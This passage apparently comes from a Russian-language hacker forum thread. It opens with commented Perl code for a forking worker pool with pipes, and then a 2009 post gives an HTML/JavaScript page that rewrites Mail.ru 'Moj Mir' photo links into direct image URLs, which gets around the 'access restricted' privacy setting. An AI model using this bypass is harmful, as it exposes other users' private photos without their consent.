# Читаем из файла и пишем в пайп точное количество данных.
# Это необходимо для того, чтобы задания правильно читались чайлдами.
# Если использовать простые print/<>/read/write то чайлды будут читать огрызки заданий.

# см. ниже =)
$0 = "$exe";

# Проверяем количество чайлдов и добавляем их, если нужно, до $max_proc
while(checkChildren(\%children) < $max_proc){
my $pid = fork();
die "Can't fork: $!" unless defined($pid);
if ($pid){
$children{$pid} = 1;
} else {
close(CHILD_RDR);
close(CHILD_WTR);

# Вот собссно и сам чайлд

processChild();
exit;
}
}
}

# Файл кончился. Теперь пишем в пайп сигнал о выходе для всех чайлдов.
while(checkChildren(\%children)){
syswrite(CHILD_WTR,sprintf("%-128s", 'EXIT'),128);
}

# Убиваем ридера.
kill(2,$reader_pid);
close(F);
}else{

# Здесь происходит запуск ридера
close(PARENT_RDR);
close(PARENT_WTR);
readerProcess();
exit;
}

sub processChild
{
# см. ещё чуть ниже =)
$0 = "$exe - CHILD";

my $work = $max_per_proc;
while($work){
my $bytes = sysread(PARENT_RDR, my $line, 128);
$line=~s/.*?\x00//;
$line=~s/\s+?$//;
$line=~s/\s+//g;
exit if $line eq 'EXIT';
next unless $line;
# Получили задание. Оно будет гарантированно целым за счёт sysread/syswrite

# Ну вот и добрались до странной конструкции =)
# С её помощью при просмотре списка процессов мы увидим какой процесс чем занимается.
# На работу системы не влияет, но категорически удобно =)
$0 = "$exe - CHILD - $line";


my $result;
# Здесь обрабатываем нашу задачу и пишем в пайп ридеру
# ...
# ...


$result = sprintf("%-128s", $result);
syswrite(PARENT_WTR,$result,128);

$0 = "$exe - CHILD";
# ну это, думаю, понятно =)
$work--;
}
}

sub readerProcess
{

# Это процесс ридера
$SIG{INT} = sub {
exit;
};

open(F,">result.txt");
select F;
$|=1;
my $count;
my $work = 1;

# Читаем данные из пайпа, пишем в файл
while($work){
$count++;

# Ридер рассказывает скока он уже обработал
$0 = "$exe - READER - reading... ".$count;
my $bytes = sysread(CHILD_RDR, my $data, 128);
$data=~s/.*?\x00//;
$data=~s/\s+?$//;
$data=~s/\s+//g;
last if $data eq 'EXIT';

# Пишем
print F "$data\n";

# Можно проверить не сдох ли родительский процесс.
# Если вдруг он загнулся (а такое может случиться), то выйти.
last unless kill(0, $master_pid);
}
close(F);
}

sub checkChildren
{
my $hash = shift;
for my $pid(keys %{$hash}){
if(!kill(0, $pid)){
delete ${$hash}{$pid};
}
}
return scalar keys %{$hash};
}


Варианты распараллеливания:

1.На каждую задачу выделяется один процесс. Вариант хорош тем, что каждое задание изолировано в отдельном процессе - не будет проблем с утечкой памяти и прочими заморочками (особенно когда юзаются сторонние модули).

2.Родить необходимое количество процессов и выдавать им задания.

3.Оптимальный вариант- принцип работы Апача. Основной процесс запускает заданное количество дочерних. Каждый дочерний выполняет установленное количество задач и умирает.

Gar|k
14.04.2009, 01:39
Сижу в маил агенте ищу девушку... лазию по мирам и просто бесит когда тебе пишут мол доступ ограничен.... вот теперь доступ не ограничен! хехе

<html>
<head>
<title>Мой мир@Mail.ru - Доступ не ограничен</title>
</head>
<body>
<form onsubmit="show_big_image(linkz.value);return false;">
Ссылка на фотку, которую хочешь посмотреть:<br><input type=text id=linkz style='width:100%'>
</form>

<img src='' alt="тут будет фотка" id=srcimg>

<script language="javascript">
function show_big_image(str)
{
//----------------------------------------------------------------------
// (c)oded by Gar|k - достало меня видеть этот доступ ограничен гргргр
//
// exp link: http://my.mail.ru/mail/gar.i.k/photo/52.html?mode=
//----------------------------------------------------------------------

var re=/http\:\/\/(?:.*)\/(.*\/.*)\/.*\/(.*?).html(?:.*)/;
srcimg.src=str.replace(re,"http://content.foto.my.mail.ru/$1/_myphoto/i-$2.jpg");

}
</script>
</body>
</html>

Если лень копипастить заходи сюда (http://zona-chat.narod.ru/mailru_photo.html)